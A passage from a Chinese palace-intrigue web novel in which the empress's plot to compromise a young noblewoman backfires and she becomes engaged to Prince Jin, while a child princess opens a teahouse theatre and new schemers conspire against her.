这一刻大多数贵女都对朱妙婈很不屑。 好歹是个嫡女,年纪轻轻,却这么的饥渴。 她们可都是正经小姐,才不屑与这种人为伍呢! 皇后满意的看着这一幕,站起身来:“都随本宫去看看吧!” 本来她也没想用这招的,也是真心想让朱妙婈做太子继妃。 可谁让朱妙婈不知好歹呢! 既然不想做太子继妃,那就做个庶妃吧,也不算委屈了她! 皇后带着一群官家小姐,浩浩荡荡杀到了目的地。 刚到门口众人就听到里面传来的声音。 贵女们纷纷红了脸,心里对朱妙婈却越来越不屑。 就算生性豪放,你也找个好的呀? 那一溜串的王爷,是不比太子年轻,不比太子好看吗? 当然,也有想做太子妃的女子,可现在被朱妙婈抢了先,她们对朱妙婈就非常不满了,难听的话越来越过分。 皇后听够了,这才一本正经道:“光天化日,这也太不像话了,还不赶紧踹开门。” 嬷嬷点头,手一挥,几个太监当即冲了上去,把门踹开。 很多贵女第一时间捂住了眼睛,只是指尖撒开了细小的缝隙。 “你们真是太不像…”皇后被嬷嬷搀扶着走了进来,当她看清司徒霄身下那个女人时,骤然失语,目瞪口呆。 不是,朱妙婈呢? 怎么会是这个贱婢? 不行! 事到如今只能一不做二不休了,就算这女子不是朱妙婈也必须是。 反正这些贵女都不敢进来看。 皇后神色一狠,顿时惊呼:“朱二小姐…” “什么朱二小姐哦!”奶声奶气的疑惑声响起:“皇奶奶,这个姐姐不是朱二小姐哇!” 皇后浑身一僵,机械低头,只见唐蕊竟然跟着进来了。 想要捂住唐蕊的嘴已经来不及了,唐蕊小嘴叭叭:“皇奶奶,你不是说带我们来找朱二小姐吗?朱二小姐呢?太子叔叔跟这个姐姐在干什么呀?他俩为什么不穿衣服呢?你看姐姐的表情,好痛苦的样子,叫得跟杀猪似的,太子叔叔是在打她吗?” 皇后一口血差点喷出来。 还不待她发难,秦芷嫣赶紧跑了进来,一把捂住唐蕊的嘴,抱着她离开了殿宇后,才在门口向皇后请罪:“母后,昭华正是对什么都好奇的年纪,等回去后儿媳会好好教她的,您可千万别跟昭华一般见识。” 顾若雪虎着脸瞪着唐蕊,也接过话来:“昭华,你还小,别什么都看!” “对不起,母妃,顾庶母,昭华不看了,你们可别生气。”唐蕊似懂非懂的点点头,心里的小人都快笑岔气了。 有了这一出,贵女们也都反应过来了:“原来,不是朱二小姐呀…” 皇后依旧没有说是不是,脸色铁青,把怒火全都发泄在了奴才们身上:“还不赶紧把他们泼醒,这成何体统!” 奴才们赶紧取了水来,朝连体婴儿一样的二人身上泼去。 司徒霄一个激灵清醒过来,瞬间瞪大了眼睛。 宫婢也醒了,入眼就是司徒霄的脸,以及不远处黑着脸的皇后,吓得怪叫一声,手忙脚乱扯过一旁的被子裹住自己。 司徒霄此时也光溜溜呢,抢过她的被子护住自己的重点部位,并一脚把宫婢踹下了床,指着她怒道:“大胆贱婢,敢对孤下药。” “没有,没有,奴婢是冤枉的。”宫婢身边都没有个遮挡物,浑身暴露在众目睽睽之下,又羞又慌又害怕,只能无助的抱着自己跪下:“皇后娘娘,请您明鉴,奴婢真的是被冤枉的!” 皇后冷冷的看着她不语,心里不停谩骂成事不足败事有余的蠢货。 心腹嬷嬷最会看脸色,赶紧指使太监们:“把这个不要脸的贱婢拖出去,乱棍打死。” 皇后没有说话,等于默认! 宫婢脸色惨白,感觉天都塌了:“不要,皇后娘娘饶命啊皇后娘娘…” 眼看太监们靠近,宫婢脸色一狠,想把一切都说出来。 顾若雪察觉到她的眼神,暗骂一句蠢货,赶紧开口:“母后,事已成定局,说不定她腹中已经有了太子的骨肉,大人做错了事,孩子总是无辜的,不如暂且留她一条命,看看再说?” 皇后闻言眉头微蹙。 这…倒是! 司徒霄就司徒谨一个儿子,万一这宫婢怀孕了呢? “一个贱婢的孩子算什么?母后,你把她杀了!”司徒霄都快气疯了。 “胡闹!”皇后呵斥了他一句:“若雪说得没错,你子嗣本就少,先留着她吧!” 嬷嬷闻言根本不经过司徒霄同意,立刻挥手让人把宫婢带走。 宫婢颤抖着穿上了衣服,给了顾若雪一个感激的眼神,这才施施然离去。 她是真没想到,顾若雪这个素不相识的人,会帮她一个小小的宫婢说话。 反观她投靠的主子,却恨不得她死。 她没发现,顾若雪眼底一闪而逝的精光。 第112章 想废了你这太子的局 东宫在深宫,璃王府本就不好安插眼线。 不知道,这宫婢能不能为璃王府所用。 皇后没有达到目的,司徒霄也莫名其妙睡了个低贱的宫婢,母子俩都气得不行,这才想起来找朱妙婈,并坚信她是罪魁祸首。 就在这时,朱妙婈的声音传来:“呀?各位姐姐在这做什么?” 皇后与司徒霄抬眸一看,本就发黑的脸更黑了。 朱妙婈来了,还是和司徒泽一起。 这两人为什么会在一起? “朱二妹妹,你去哪儿了呀?你都不知道,刚才…” 不明状况的贵女还在跟朱妙婈说明情况。 朱妙婈听完一脸惊讶:“怎么会呢?我一直跟晋王殿下在一起呀!” “你胡说!”司徒霄气得跳脚:“你明明…” “霄儿!”皇后打断了他的话,淡淡的笑了笑:“今天的赏花宴,让各位受惊了!” 这是要赶人了! 贵女们秒懂,纷纷客套了几句告辞。 皇后也没阻拦,还让太监送她们出宫。 朱妙婈刚想离开,皇后却叫住了她:“朱二小姐,本宫有话要跟你说。” “皇后娘娘请吩咐!”朱妙婈知道皇后要秋后算账了,不得不停下脚步。 皇后一时间没有开口,等贵女们都走得差不多了,又看向一旁的两大一小雕塑:“老七家的,你们也回去吧!” “是…”秦芷嫣无奈,给了朱妙婈一个自求多福的眼神,带着顾若雪和唐蕊先行离开。 很快,这里就剩下皇后、司徒霄,和一众奴才,以及朱妙婈与司徒泽。 皇后见司徒泽不动,危险的眯起眼眸:“老九,你还不走?” 司徒泽依旧嬉皮笑脸:“母后,别呀,儿臣与朱二小姐情投意合,还想带着她去找父皇下旨赐婚呢,您有什么话就说吧,儿臣走得远一些可好?” 司徒霄怒道:“老九你什么意思?她是孤看中的。” 司徒泽闻言一脸惊讶:“不是吧?太子皇兄,朱二小姐好歹是朱尚书家的嫡女,你还准备让她做妾啊?” 司徒霄闻言脱口而出:“什么做妾?孤明明是想让她做太子妃!” 司徒泽更纳闷了:“那太子妃嫂嫂怎么办?你准备跟太子妃嫂嫂和离吗?” “孤…”司徒霄噎住了。 秦芷媃虽然已经死了,却还没告知天下。 今天是皇后亲办的赏花宴,这日子也不合适。 他们母子俩早就商量过,等赏花宴过后再把秦芷媃暴毙的消息公布出去的。 眼看太子一脸便秘说不出话来,司徒泽越发得寸进尺了,故作无奈道:“太子皇兄,先不说你都有太子妃了,就算没有,你什么岁数了呀?人家朱二小姐才十二岁,你跟她也不合适呀!” 这话就差没指着司徒霄的鼻子说他老牛吃嫩草,臭不要13脸了。 司徒霄晃了晃,眼前阵阵发黑。 朱妙婈不想看到司徒霄为难司徒泽,朝皇后福了福身子;“皇后娘娘,臣女聆听教诲。” 皇后勾唇一笑,眼底却无半分笑意:“朱二小姐,好手段。” 朱妙婈:“…” 我哪里敢跟你比手段? 不是你们先撩着贱吗? 你敢说楚家退婚不是你因为你们母子? 现在还想让你的狗儿子毁我清白! 女子的清白何其重要,你踏马不知道吗? 简直欺人太甚! 泥人都有三分火气,朱妙婈想起这一桩桩一件件,第一次直视着皇后,不躲不闪:“皇后,谬赞!” “…”小贱人,竟敢直视本宫! 皇后笑得咬牙切齿的:“朱二小姐,女子的终身大事何其重要,你可要三思…才好!” 潜台词,晋王妃和太子妃,哪个分量更重? 要是你选择晋王妃,那就得做好承受本宫怒火的准备了。 朱妙婈冷冷一笑,一字一句道:“多谢皇后关怀,臣女与晋王两情相悦,至死不渝!” “好,很好!”皇后气笑了:“既然如此,朱二小姐好自为之。” “是,臣女告退!”朱妙婈豁出去了,扔下这话后行了礼,拉着司徒泽头也不回的离开了。 他们刚离开,司徒霄就委屈上了:“母后,你干嘛放过…” “废物!”皇后一声怒斥,抓起身边的茶盏用力往地上一砸。 清脆的声音响起,碎片飞溅。 司徒霄也像是被人掐住了喉咙一般,憋闷的垂下头去:“母后息怒,都是儿子没用。” “当然是你没用!”皇后怒不可遏,指着他的鼻子一顿喷:“连一个十二岁的女娃娃都搞不定,你还能做什么?本宫千辛万苦生下你,对你寄予厚望,也为你争取到了太子之位,可你呢?你又做了些什么?为什么你永远都比不上司徒澈?为什么你老是这么没用?” 司徒霄被喷得都快哭了:“母后,儿子也不想,可父皇就是不喜欢儿子,偏爱司徒澈啊!” 皇后毫不客气讥讽:“那是因为你蠢,还想把毒药当做神药给你父皇贺寿,要不是本宫出手,你早就背上一个妄图弑父的罪名了。” 司徒霄闻言猛的抬起头来:“母后,您这话什么意思?逍遥丸果然是你换的对不对?那…真是毒药?” “那不仅是毒药,还是你父皇精心安排好的戏码,你以为臻粹阁的幕后东家真是顾家那小子?本宫告诉你,不是,臻粹阁幕后真正的东家是你父皇,逍遥丸从始至终都是你父皇的一个局,一个想废了你这太子的局!” 皇后一句句话,就像是一把把尖锐的刀子,刺进司徒霄的心。 司徒霄腿一软后退一步,震惊的同时,心里也涌现出无限悲凉:“为何?父皇为什么要这么做?” 皇后深吸一口气,努力冷静下来:“本宫刚知道的时候,还以为你父皇是对你失望了,可寿宴那天本宫才知道,是因为司徒澈的腿好了,你这个太子也开始碍眼了。” “父皇…好狠的心,明明我也是他的儿子,为什么,他为什么要这么对我?”司徒霄真的被打击了。 脑子里又开始浮现从小到大,皇帝一次次偏心的画面。 第113章 喜从天降 见他这样,皇后也于心不忍了,深吸一口气,语重心长道:“霄儿,就算没有你父皇,可你还有母后,只要母后活着一日,谁都不能夺走你的太子之位。但…你也要给母后争气啊!” “母后…”太子抱头痛哭,心像被撕裂了一般! … 另一边… 朱妙婈拉着司徒泽跑远了,这才抑制不住浑身发抖。 这个皇宫,太可怕了! 皇后,也太可怕了! 差一点,差一点她就被太子… 最让朱妙婈欲哭无泪的是,刚刚她居然那样跟皇后说话! 那可是皇后啊! 朱妙婈刚刚被气着了,脑子发热,顶撞皇后。 现在冷静下来,她觉得自己干脆扯根麻绳吊死算了。 司徒泽一直被她拉着手,察觉到她在颤抖,有些想笑:“哟,刚刚不是很硬气吗?这会儿知道怕了?” “呜呜呜…”朱妙婈没忍住哭出声来:“怎么办?皇后娘娘会不会为难我父亲啊?要是朱家因此获罪,我就是朱家的罪人呜呜…” “喂喂喂,你别哭啊!”司徒泽也没想到,这小丫头眼泪说来就来,没过脑的话脱口而出:“大不了就嫁给本王呗,晋王妃虽不比太子妃尊贵,但本王至少能护你周全。” “啊?”朱妙婈一听这话,一张脸慢慢红了,搅着手帕,很是害羞:“那个…不是为了气皇后娘娘,随口说的么?王爷真愿意娶臣女啊?” 司徒泽也有些不好意思,但话都说到这个份儿了,他是个男子,总不能让女子主动吧! 于是司徒泽一本正经道:“本王并不是随口之言,若你愿意,本王这就去向父皇请旨。” 朱妙婈小心翼翼的瞄了男人一眼,又赶紧垂下头去,别说脸了,耳朵都红了。 男人长得也不丑,身份又高,可她… 朱妙婈咬了咬唇,道:“可我被楚家退了婚…” 在她看来,被退了婚的女子都是有污点的。 这样的她,怎么配得上晋王妃之位呢? 司徒泽却没所谓,常年在外游历,为司徒澈打听神医谷的消息,他的眼界也不似普通男子:“这有什么?你只是被退了婚,又不是和离了。小丫头,你依旧清白,胆小却敢直言不讳,不惧权贵,只要你愿意,晋王妃之位,非你莫属!” 这算是夸奖吧? 算吧算吧? 朱妙婈心里的小鹿撞来撞去,都要撞晕了:“多谢晋王殿下抬爱,臣女…臣女…愿意…” 最后声音虽然轻得微不可闻,但司徒泽还是听清楚了,抿唇一笑:“那好,本王先送你回家,然后就回宫找父皇请旨。” “好…”朱妙婈羞涩的看了他一眼,又立马垂下头去,活脱脱一个鹌鹑。 没想到,最后没能嫁进楚家,反倒成了晋王妃。 朱妙婈多日来郁结的心一下子被幸福塞满。 只要想起司徒泽,就忍不住脸红心跳。 高富帅这种生物,放在现代都很少有女人能抵抗,更别说古代了。 朱尚书和其夫人一直担心入宫的小女儿,怕她受了欺负。 朱夫人甚至在无人的角落,暗暗咒骂起皇后来。 从古至今哪个皇后开百花宴,只让未出阁的女子进宫,不让她们这些贵妇进宫的? 万一出了事,她赔得起吗? 朱尚书听到她的骂声,劈头盖脸把她一顿训:“那是皇后,你要是不想活,可别拉着我们全家一起。” 朱夫人委屈得直掉泪:“我这不也是担心女儿吗?玉娆命不好,堂堂嫡女做了妾,要是连妙婈也…老爷,天下这么大,那么多贵女,你说太子为什么非得逮着咱们的女儿祸害啊?” “哎呀,你别说了,说得我都心烦了。”朱尚书也很生气,可又有什么用? 那是太子! 他再不满,不也只有憋着? 虽然心疼女儿,但是丑话还是要说在前头。 朱尚书复杂的看着自家媳妇,纠结片刻后还是开了口:“夫人,要是妙婈真入了东宫,那…为夫…只能舍弃她了…” “呜呜呜…”朱夫人不是知道,可她也没有一点办法。 朱玉娆已经是璃王侧妃了,谁都知道璃王和太子水火不容。 一仆不侍二主,若太子硬要了朱妙婈,他们只能狠心舍弃这个女儿了。 谁让皇帝更看好璃王呢,太子被废也是早晚的事啊! 就是可怜了她那命苦的小女儿,年纪轻轻,却落得个这样的下场。 “爹,娘,你们在说什么?” 就在这时,朱妙婈回来了。 看到她,朱夫人哭着上前抱住了她。 朱尚书也叹息道:“回来就好,皇后…是不是…让你…” 朱妙婈总算反应过来了,羞涩开口:“爹,娘,你们放心,是晋王殿下送女儿回来的,他…已经去找皇上请旨了…” 朱尚书和朱夫人闻言一愣,继而大喜:“当真?” 朱妙婈红着脸道:“女儿怎么会拿这种事开玩笑呢!” “哈哈哈…好!好!这真是柳暗花明又一村呐!”朱尚书开怀大笑。 朱夫人心里一块石头也落了地:“菩萨保佑,菩萨保佑啊!” 亏他俩还在这担心,结果女儿倒好,攀上了晋王殿下。 晋王好,晋王妙啊! 哪怕是个闲散王爷,但人家依旧是王爷,和璃王关系又好。 做晋王妃,难道不比嫁去楚家强吗?难道不比嫁给太子强吗? “夫人,吩咐膳房备好酒好菜,今晚咱们一家三口好好吃一顿!” 有什么样的女儿,就有什么样的爹。 朱尚书和朱玉娆不愧是亲的。 朱夫人娇嗔的瞪了他一眼:“妾身这就去准备,不过老爷也要写封信,把这些告诉玉娆,免得她忧心!” “是是是,为夫这就去写!” 朱尚书一家喜气洋洋。 … 皇宫! 皇帝一脸无语的看着去而复返的司徒泽:“你说你要娶朱家二小姐?” 司徒泽拱手:“是,还请父皇成全!” “啧…”皇帝复杂的看着这个儿子,觉得他是不是有什么毛病! 他知道皇后看中了朱家二小姐,还曾不止一次在心里骂皇后越来越不要脸了,连十二岁的女娃娃都不放过。 可现在什么情况? 一向乖巧安分的小九,也开始变态啦? 第114章 奴婢等得起 若是皇后,皇帝就不说了。 反正皇后什么丧心病狂的事都做得出来,他都已经习惯了。 但这不是皇后,是一向乖巧的小九。 皇帝匪夷所思道:“朱家嫡次女才十二岁,你也下得去口?” 其实他更想问一句,是不是被皇后附身了。 司徒泽一脸郁闷:“父皇,你又不是不知道母后盯着她的,儿臣娶了她,纯粹是在救她好不好。” 皇帝:“…”没毛病,可才十二岁啊! 乖巧的小九也这么变态,他好不习惯。 司徒泽无奈道:“父皇,儿臣实话实说吧,儿臣对她只是有点兴趣,也没有到非她不娶的地步。想娶她,一来是儿臣也到了娶妻的年纪,娶谁都要娶,还不如娶个感兴趣的。二来嘛,儿臣一直都没找到神医谷,都没帮上七哥的忙,所以这次儿臣想帮帮七哥。这三来嘛,儿臣觉得朱家嫡次女…挺可怜的,被楚家退了婚,又被母后盯上,要是儿臣不娶她,您说这世上谁还敢娶她?一个女子嫁不出去,这不是毁了嘛?” 皇帝笑了笑:“你倒是心善!” 司徒泽抓了抓后脑勺,有些不好意思:“父皇谬赞了,儿臣这也谈不上心善,最主要的还是儿臣觉得朱家嫡次女顺眼。” “好吧!”皇帝觉得司徒泽说的话也有道理,当即吩咐陈德福拟旨。 他也不希望朱家嫡次女嫁给太子,小九愿意接手,那最好不过。 陈德福知道皇帝心思,动作很快。 司徒泽拿到圣旨也没耽误,立刻出宫去了朱家。 等皇后赶来时,大局已定。 事后,在殿外值守的侍卫们,只听到里面不时传来帝后的争执声,最后皇后摔门而去,皇帝脸色铁青。 反观朱家,司徒泽宣旨后,一片喜气洋洋。 也不知道是皇帝生怕皇后干涉还是事有变数,让二人半年后成婚。 朱妙婈亲自送走司徒泽,回到屋里后开始绣起了嫁衣。 翌日一早,朱母又带着她去了璃王府,还带着礼物。 谁不知道璃王和晋王关系最好? 女儿能高嫁给晋王,璃王肯定出力不少。 母女俩来时,司徒澈没在,唐蕊却正好在朱侧妃这里。 爱屋及乌之下,朱母对唐蕊也很喜爱,还专门把带来的一副红宝石头面给了她。 已经有了一副红宝石头面的唐蕊连连摆手:“使不得,使不得哦。” 朱母笑呵呵道:“皇上给郡主也赐了婚,这物件本就是老身带来,想给郡主添妆的,郡主不要嫌弃才好。” “不会,谢谢朱奶奶,我很喜欢哦!”人家话都说到这个份儿上,唐蕊只能收下了:“那朱庶母,你和朱奶奶聊叭,我就先回去啦。” “好!”朱侧妃笑着点头,还招呼云吞把唐蕊没吃完的点心都包起来,让唐蕊带走。 唐蕊离开后,母女三人这才泪眼汪汪对视。 朱母叹息道:“这次多亏了璃王殿下,不然你妹妹…八成是…” 朱侧妃笑道:“娘,你别这么说,王爷说过了,我是他的侧妃,你也是他半个岳母,一家互相帮助本就是应该的。” 朱母听到这话,一脸怔愣:“璃王当真这么说?” 朱侧妃有些小得意:“当然,王爷是世上最好的夫君,谁都比不了。” “是…是…璃王确实是最好的…”朱母心里很是感动。 在这阶级森严的时代,一个王爷能对侧妃说出这样的话,足以可见他对朱玉娆的重视,也可以说是对朱家的重视。 朱妙婈也很羡慕,待她和晋王殿下成了婚,也不知道晋王殿下会不会如此尊她重她:“娘,爹不是有话让你带给姐姐吗?这会儿又没什么人,你快说呀。” “对,对!”朱母拍了拍朱玉娆的手,郑重其事道:“玉娆,你爹托为娘让你转告璃王,不管何时,朱家都会站在他这边,若是哪天他想…你爹也会全力支持。” 朱玉娆神色一喜:“好,女儿一定会转告王爷的。” … 已经离开的唐蕊走了一截路,长长的叹息一声、 身后的幻蝶与容嬷嬷互视一眼,有些摸不着头脑。 容嬷嬷小心翼翼问道:“郡主,为何叹气?” 唐蕊一脸苦恼:“也没什么…” 就是在想,要不要让赤赤去皇后宫里溜达一圈,让皇后暴毙。 经过这次的事,她彻底看明白了。 皇后一天不倒,太子就有绝对的庇护伞。 最好的方法,就是撕了这把伞。 但是她搞不懂皇帝对皇后到底是什么意思。 皇帝手眼通天,他要是想杀皇后,还轮得到自己动手? 皇帝没动手,说明他不希望皇后死。 这一点从上次宫宴,皇后以命威胁皇帝不要废太子就能看出来。 如果杀了皇后,皇帝…会生气的吧? “唉…”唐蕊又叹息一声:“难咯!” 幻蝶似乎看出了什么,不动声色道:“郡主,其实不必着急,为了不值得的人被皇上厌弃,那就不划算了。” 唐蕊好笑道:“我急不急的没所谓,你不急吗?” 幻蝶低眉顺眼道:“奴婢年轻,奴婢也相信皇上金口玉言,奴婢等得起!” 唐蕊:“…”这丫头倒是个沉得住气的。 也不知道皇帝跟她说了啥,连血海深仇都能按捺住。 “郡主,郡主,顾侧妃在梅园等您!”一个侍婢匆匆而来。 “好,我这就去!”唐蕊应了一声,不再继续这个话题:“嬷嬷,你先回去,幻蝶随我去就好。” “是!”容嬷嬷还在疑惑两人刚刚的对话。 隔了好久才反应过来,顿时惊出一身冷汗。 乖乖! 她家小郡主这胆子,是不是有点过于大了? 她这…分明是想弑后啊! 那么问题来了,她要不要告诉王爷呢? 皇后不光是太子的亲娘,也是王爷的亲娘啊! 容嬷嬷纠结了一会儿后,还是决定闭嘴! 一仆不侍二主,现在她是唐蕊的人,不管什么时候都要站在唐蕊这一边。 … 没过两日,太子妃暴毙的消息传来。 王爷和王妃们纷纷前去吊唁,做足了表面功夫。 谁都能猜到秦芷媃是怎么死的,可她也不是什么好人,她的死更没溅起一点水花。 太子妃的位置彻底空了出来,皇后光明正大开始供太子相看继妃了。 那些想做太子妃的贵女,也纷纷开始往皇后跟前凑。 但这一切都跟璃王府没有关系。 梅园是一家茶社,也是顾若雪最大的嫁妆铺子。 自从顾若雪从唐蕊这要到戏院茶社这个项目后,就闭门谢客,加派人手重新装潢。 第115章 霸道王爷爱上和离带娃又断经的我 当然,装潢的图纸也是唐蕊给的,她只在一些地方做了改动。 功夫不负有心人,她终于赶在王府一众女人中,第一个完成了装潢! 唐蕊刚一进门,就被眼前的一幕惊呆了。 最中间是个超大的圆形木制舞台。 崭新的桌椅围绕着舞台形成了一个扇形,整齐有序。 墙壁上是手绘的山水画,画中山水云雾仿佛带着茶香的氤氲,让人置身另一个世界中。 天花板上垂吊者精致的灯笼,暖黄色的灯光撒下,营造出一种温馨又惬意的氛围。 地面上一块块木板铺着,缝隙间填得严丝合缝,没有一丝灰尘。 一些地方还放着一盆盆名贵的花朵,花香四溢,为整个空间增添了一抹生机与自然的气息。 古色古香,优雅别致。 顾若雪带着自己的婢女和邓忠孝从楼上下来,看到唐蕊,满脸笑意:“蕊蕊来了?看看,还有没有什么需要整改的地方。” “木有木有!”唐蕊叹为观止:“顾庶母,你的品味太好啦,完全超出我的预料哦。” “你这小嘴呀,越来越甜了!”顾若雪被她夸得心花怒放,点了点她的小脑瓜子。 “郡主,小的已经联系了好几个戏班子,就是…不知道哪个合适,郡主要不要看看?”邓忠孝开口道。 他可是总经理,不光这个店铺,以后另外几个铺子都归他管。 现在的邓忠孝是走路带风,人逢喜事精神爽,人都年轻了好几岁。 唐蕊摆摆手:“看就不必了,年轻点的就好,本郡主打算自己写戏。” “啊?”邓忠孝愣住了。 顾若雪也诧异道:“蕊蕊,你还会写戏?” “试试嘛,万一效果不好,就不用我的写的。”但唐蕊觉得,效果应该不错的。 没吃过猪肉还没见过猪跑么? 在现在看过那么多短剧,套路用上去不就成了? 唐蕊倒不是觉得这个世界现有的戏不好,这个世界跟龙国历史中的古代挺像的,很多戏班子唱的戏,也都是一代代传下来的名著。 但是吧,这些戏,相信这个时代的古人都已经看腻了。 想要茶楼火,就得给他们看点不一样的东西。 顾若雪皱眉道:“蕊蕊,每部戏都是话本子里的情节,你要写戏,就等于是要写话本,你真的可以吗?” “我试试叭,万一不行就算了!” 什么霸道总裁爱上我。 霸道总裁爱上离婚的我! 霸道总裁爱上离婚带娃的我! 通通安排上! 就不信不火! 顾若雪无奈道:“庶母相信你,庶母只是想说,写话本很累的,如果你写不下去,就用念的,让你手底下的丫头们写,没必要亲力亲为。” “对哦,还可以这样!”唐蕊被自己思维局限了,都没反应过来还能这么玩:“顾庶母,你果然是最聪明的娘,没有之一哦。” 顾若雪被她一句话逗乐了:“你呀…” 在顾若雪的带领下,唐蕊好好参观了一下茶社。 邓忠孝斟酌过后,决定先不选戏班子,等唐蕊的话本写好了,再决定。 于是,自此唐蕊开始熬夜了。 每天除了吃饭睡觉,都在想剧本。 就连休息够了,回到国学监后,每天也是撑着脑袋盯着周学士发呆。 周学士:“!!” 哟? 小祖宗不睡觉,爱上学习了? 好好好! 周学士瞬间来劲儿了,讲得也更大声了。 唐蕊:“…”怎么这老头跟打了鸡血一样? 不行不行,不能走神! 话本题材要怎么决定呢? 唐蕊倒是想安排一些大女主题材的剧本。 但是这个时代的主流,是男人! 如果她太明目张胆,肯定会被那些学子讨伐的。 但她又不想写没意义的东西。 有了! 唐蕊头顶灯泡一亮,挪开书本铺上一张纸,拿过毛笔就开写。 太阳真是从西边出来了! 一直以来上课睡大觉的唐蕊认真听讲不说,还在记录? 坐在她一左一右的司徒安和顾楠聿第一时间斜睨瞄了过来。 然而,看清纸上第一句话后,两人眼尾狠狠一抽。 ——霸道王爷爱上和离带娃又断经的我。 两人:“??” 两人:“…” 似乎察觉到了两人的视线,唐蕊小脸一黑,扯过书挡住纸:“你们看什么哦?” 司徒安一脸无语! 顾楠聿神色淡淡:“看哪个霸道王爷品味如此怪异!” 唐蕊没好气道:“我要写的东西跟题目无关,你们不要偷看!” 这行字是她昨晚写的好不好? 这还没开始写剧情呢! 不就想着省点纸么! “…”不看就不看,我还不想看呢! 顾楠聿收回视线,目不斜视:“你继续,我不看了。” “哼!”唐蕊冷哼一声,确定他俩没看了,这才继续写。 时间一晃而过,放学时间到,唐蕊收拾书本离开。 写字好累,还是回去后让院儿里的丫头们写吧! 司徒安这时提议:“昭华,我和南聿要去群英阁,你要不要一起?” “不了,我要回家!一会儿你让聚贤阁小二打包一只烤鸭送到璃王府就好!”唐蕊飞快的收拾好自己的书本,迈开小短腿溜了。 司徒安看着她的背影摸着下巴一脸狐疑:“奇怪啊,她居然不一起。” “也许是有事!”顾楠聿表示理解。 每个人都有自己的秘密,很正常。 就像他管着臻粹阁一样! 司徒安赞同点头:“那只有我俩去了。” “今天我也去不了,家里有点事,你去了记得让店小二打包一只烤鸭送到丞相府,我先走了。”顾楠聿自顾自收拾好东西,也离开了。 “喂!喂!”司徒安追了两步,顾楠聿却走得更快了。 司徒安一脸郁闷,刚转身就看到了楚璟川。 楚璟川懵了片刻,试探性道:“要不,我陪你去?” “行,走叭!”司徒安来者不拒,有伴就好。 而已经跑出书院的唐蕊,刚要上马车,就看到前面那辆挂着东宫标志的马车里,司徒谨从里面掉了出来,啪叽一声摔在地上,脸先着地。 “司徒谨?”唐蕊眉头一皱,小步跑过去扶起他:“还好吗?” 第116章 勾结 伤才好多久呀,跑来国学监就算了,还这么不小心。 司徒谨看到唐蕊愣了一下,赶紧摇头:“我没事!” “唐、蕊!”马车里传来咬牙切齿的声音。 唐蕊一听这个声音,反射性蹙眉,抬眸一看,果然… 久久不见的司徒嫱也在马车里,正撩起车帘恶狠狠的盯着自己。 再看一脸畏惧的司徒谨,唐蕊还有什么不明白的,顿时来气了:“司徒嫱,你是不是有毛病?司徒谨前不久才受了那么重的刀伤,你居然把他推下马车?” 司徒嫱怒道:“我管教我弟弟,有你什么事儿?” 唐蕊哈了一声,反唇相讥:“你确定你能管?要不我现在进宫去问问太子叔叔?看是司徒谨这个儿子重要,还是你这区区庶女更重要?” 司徒嫱噎了一下,狠狠的放下车帘:“算你狠,走!” 车夫一脸为难:“嫱主儿,我们是来接谨主儿的,谨主儿他还没…” “我让你走你就走,你家谨主儿没有脚吗?要你管?”司徒嫱不由分说打断车夫的话。 车夫无奈的看了司徒谨一眼,只能硬着头皮驾着马车扬长而去。 司徒谨失落的垂下眼眸。 “什么人呐!”唐蕊皱眉看了看远去的马车,很快又收回视线,替司徒谨拍了拍身上的灰:“你怎么她了?她干嘛推你哦?” “没事…”司徒谨垂下眼眸,不敢看唐蕊。 他的小厮早就受不了了,张口就道:“昭华郡主,嫱主儿让我家主子给您下毒,我家主子没答应,她就把我家主子推下了马车。” “你哪儿来这么多话!”司徒谨根本来不及捂住他的嘴,只能凶巴巴的瞪了他一眼,又慌乱的看向唐蕊,着急解释:“昭华,我不会答应她的,你…你也别怪她好不好…” 说到最后,他都有点羞愧了。 司徒嫱嫉妒唐蕊,处处找唐蕊麻烦。 这次甚至都要下毒了! 唐蕊怎么可能不怪她。 “对不起…”司徒谨知道自己的要求很过分,心里也被无力感充斥着:“是长姐一次次找你麻烦,你已经放过她很多次了。可我…已经没有母妃了,又和三妹不亲近,身边只有长姐了…” 唐蕊没好气道:“你还知道啊?还有,什么叫你身边只有长姐了?皇爷爷不是你亲人吗?你父王不是你的亲人吗?我不是你的亲人吗?” “我知道…”司徒谨脑袋垂得更低了:“可我和长姐从小一起长大…以前她其实挺好的,就是要强了一些,我也不知道她为什么会变成现在这个样子。” “…”这已经不是要不要强的问题了好不好? 唐蕊无奈道:“那你想让我怎么做哦?放这么一个时时刻刻想要我小命的人在身边不管不顾么?万一哪天我被她害死了怎么办?” 司徒嫱被皇帝禁止来国学监,一段时间没见,她都快要忘记这个人了。 可这人却要自己跳出来刷存在感! 司徒嫱又不是司徒谨,司徒谨本性其实不坏。 可司徒嫱不一样啊! 对于这样的人,自然要先下手为强! 司徒谨似乎听出了她语气里的杀意,又急了:“昭华,我不会让她乱来的,你信我!” 唐蕊眉梢微扬:“那她要是再乱来,怎么办?” “那…”司徒谨迟疑片刻,最后还是咬咬牙道:“那我就不管她了,好不好?这次就算了吧,求求你了,不要告诉皇爷爷。” 唐蕊这次本来也没想告状,没好气道:“那你就看好她,再有下次,我真不会手下留情了。” “谢谢,我一定会看好她的!”司徒谨狠狠的松了一口气。 可唐蕊却并不相信他能看住司徒嫱。 司徒嫱想刀她的眼神,都不加掩饰了,还是得先下手为强得好! 但唐蕊没想到的是,司徒嫱会跟一个熟人勾结到一起。 暗处,一双眼睛死死盯着这一幕。 见司徒嫱的马车走了,那人赶紧追了上去。 在前方一个拐角处,她终于拦住了马车。 车夫赶紧拉住缰绳,迫使马车停了下来,脸上满是不耐之色:“哪儿来的乞丐,东宫的马车也敢阻拦?” “我不是乞丐,我不是,我…我跟唐蕊有仇,我是来帮嫱郡主的。”女人如此说道。 车夫却并不相信她:“滚开,不然…” “慢着!”车里的司徒嫱开了口,撩起车帘看着拦车的女子。 女子穿得脏兮兮的,蓬头垢面,俨然一个乞丐。 若是唐蕊在这就能认出来,这不是刘姬又是谁? 司徒嫱眉头微蹙,眼底毫不掩饰的嫌弃:“一个乞丐,也跟唐蕊有仇?” 潜台词,你配吗? 刘姬讨好一笑:“嫱郡主,小的姓刘,原是璃王府的侍妾。小的没有说谎,小的真跟唐蕊有仇。” 司徒嫱诧异了一下,居高临下挑剔的打量着她:“你是璃王叔的侍妾?那你为何又变成了乞丐?” “都是因为唐蕊!”说起唐蕊,刘姬眼底的恨意都快溢出来了:“因为她,我不得不离开璃王府,还被顺天府通缉,无奈之下只能混入乞丐堆里。嫱郡主,小的能帮你除掉她,只是…希望事成之后,嫱郡主能给小的一些银子,帮小的离开京城。” 